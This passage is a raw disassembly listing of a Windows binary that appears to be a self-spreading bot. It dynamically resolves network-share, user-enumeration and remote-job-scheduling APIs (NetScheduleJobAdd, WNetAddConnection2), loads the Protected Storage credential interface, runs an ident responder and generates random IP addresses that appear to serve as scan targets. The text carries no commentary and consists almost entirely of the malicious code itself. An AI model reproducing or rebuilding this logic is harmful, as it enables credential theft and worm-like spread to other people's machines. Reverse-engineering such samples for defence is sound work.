		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	dword_417228	; getservbyport
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx


loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: sub_4167F1:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF20, eax


loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF28, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF2C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF30, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF34, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF38, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF3C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF40, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF44, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF48, eax


loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF4C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF50, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF54, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF58, eax


loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF64, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF68, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF6C, eax
		cmp	dword_41DF64, 0
		jz	short loc_403D85
		cmp	dword_41DF68, 0
		jz	short loc_403D85
		cmp	dword_41DF6C, 0
		jnz	short loc_403DA3


loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DF64, offset sub_403588
		mov	dword_41DF68, offset sub_4038BA
		mov	dword_41DF6C, offset sub_403BBD


loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF60, eax


loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	dword_417058	; GetProcAddress
		mov	dword_41DF5C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------


loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7


loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------


loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
		cmp	[ebp+var_1228],	0
		jz	short loc_403EF6
		cmp	[ebp+var_1228],	0FFFFFFFFh
		jz	short loc_403EF6
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07


loc_403EF6:				; CODE XREF: sub_403DF3+E6j
					; sub_403DF3+EFj
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: sub_403DF3+101j
		movsx	eax, byte_41EFA8
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EFA8
		lea	eax, [ebp+var_1224]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------


loc_403F27:				; CODE XREF: sub_403DF3+11Dj
		lea	eax, [ebp+var_1200]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_11DC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1224]
		push	eax
		push	offset byte_41EFA8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403F57:				; CODE XREF: sub_403DF3+132j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403DF3:loc_403EA2j
		push	[ebp+var_11B4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: sub_403DF3+5Aj
		leave
		retn	4
sub_403DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004


loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18


loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------


loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------


loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1


loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset sub_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: sub_4055E5+772p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx


loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: sub_4055E5+752p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------


loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset dword_418A48
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset dword_418A40
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset dword_418A34
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset dword_418A30
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax


loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: sub_402A32+206p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------


loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E


loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------


loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------


loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; sub_408B30+197p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------


loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F028
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------


loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1


loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx


loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; sub_41349C+1FAp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41E374, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E378
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E374
		call	sub_409C9D
		pop	ecx
		pop	ecx


loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, dword_41E378
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	dword_417218	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx


loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: sub_4083AD:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_418A5C
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0


loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: sub_408B30:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset dword_418A1C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------


loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0


loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: sub_40732D+22Ep
					; sub_40732D+296p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; sub_411DC5+65p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
